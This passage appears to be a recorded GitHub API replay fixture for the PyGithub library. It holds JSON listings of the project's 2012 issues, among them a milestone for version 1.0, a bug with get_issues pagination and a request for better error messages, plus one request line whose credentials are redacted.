https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":2,"html_url":"https://github.com/PyGithub/PyGithub/issues/2","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Use objects as parameters instead of shas, ids, etc.","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-03-06T16:46:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527231,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-29T11:31:37Z","body":"All attributes and method parameters must have an identified and documented type","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":4,"html_url":"https://github.com/PyGithub/PyGithub/issues/4","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Review public interface homogeneity ","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-03-06T16:48:40Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527266,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-29T11:41:39Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/12","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":12,"html_url":"https://github.com/PyGithub/PyGithub/issues/12","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Structure all attributes and make them either mandatory or optional","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-03-13T06:21:57Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-29T11:39:15Z","body":"Cf http://developer.github.com/v3/pulls/comments/#alternative-input, but my first tests did not succeed.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/37","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":37,"html_url":"https://github.com/PyGithub/PyGithub/issues/37","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Understand and implement POST /repos/:user/:repo/pulls/:number/comments with in_reply_to","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:39:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4793216,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-29T11:24:24Z","body":"Check that there is no more `toto`s in code\nCheck that we have 100% test coverage","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/9","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":9,"html_url":"https://github.com/PyGithub/PyGithub/issues/9","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Publish version 1.0","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":null,"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3619973,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-03-13T07:04:42Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/16","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":16,"html_url":"https://github.com/PyGithub/PyGithub/issues/16","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Add copyright and license notice","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":null,"created_at":"2012-03-13T06:25:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624595,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"html_url":"https://github.com/PyGithub/PyGithub/issues/25","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":null,"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4452000,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-28T13:58:49Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/18","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":18,"html_url":"https://github.com/PyGithub/PyGithub/issues/18","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Take care of _identity","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"closed_at":null,"created_at":"2012-03-14T06:49:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3643837,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-03-13T12:09:48Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/17","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":17,"html_url":"https://github.com/PyGithub/PyGithub/issues/17","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Document issue reporting","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":null,"created_at":"2012-03-13T12:09:48Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3628022,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-28T13:58:35Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3","comments":1,"milestone":null,"number":3,"html_url":"https://github.com/PyGithub/PyGithub/issues/3","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Deduce mandatory parameters","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-03-06T16:47:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527245,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-29T18:38:53Z","body":"For example, in `Organization.get_repos( type )`, `type` should be added to the url, as described in http://developer.github.com/v3/repos/#list-organization-repositories","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/36","comments":2,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":36,"html_url":"https://github.com/PyGithub/PyGithub/issues/36","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Re-implement url parameters","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:33:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4793162,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"html_url":"https://github.com/PyGithub/PyGithub/issues/24","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"closed_at":null,"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328726},"id":4356743,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-05-28T14:47:02Z","body":"As the title says, `get_issues()` seems to return a max of 250 items. \nIt can't be a pagination thing I think because a page is max. 100 items long as per http://developer.github.com/v3/#pagination\n\nRepro:\n\n\tfrom github import Github\n\tg = Github()\n\ttest=g.get_user('openframeworks').get_repo('openFrameworks').get_issues()\n\tlen(test)\n\nThis repo hast 940 closed and 340 open issues.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/33","comments":4,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":33,"html_url":"https://github.com/PyGithub/PyGithub/issues/33","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"get_issues() returns max. 250 items","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_at":null,"created_at":"2012-05-28T13:18:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4780155,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?since=2012-05-28T23%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4865'), ('content-length', '12920'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d09251f5f9bcb3430efa333b42335a0b"'), ('date', 'Tue, 29 May 2012 18:39:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T11:39:15Z","body":"Cf http://developer.github.com/v3/pulls/comments/#alternative-input, but my first tests did not succeed.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/37","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":37,"html_url":"https://github.com/PyGithub/PyGithub/issues/37","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Understand and implement POST /repos/:user/:repo/pulls/:number/comments with in_reply_to","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:39:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4793216,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T18:38:53Z","body":"For example, in `Organization.get_repos( type )`, `type` should be added to the url, as described in http://developer.github.com/v3/repos/#list-organization-repositories","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/36","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"closed_issues":6,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":36,"html_url":"https://github.com/PyGithub/PyGithub/issues/36","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Re-implement url 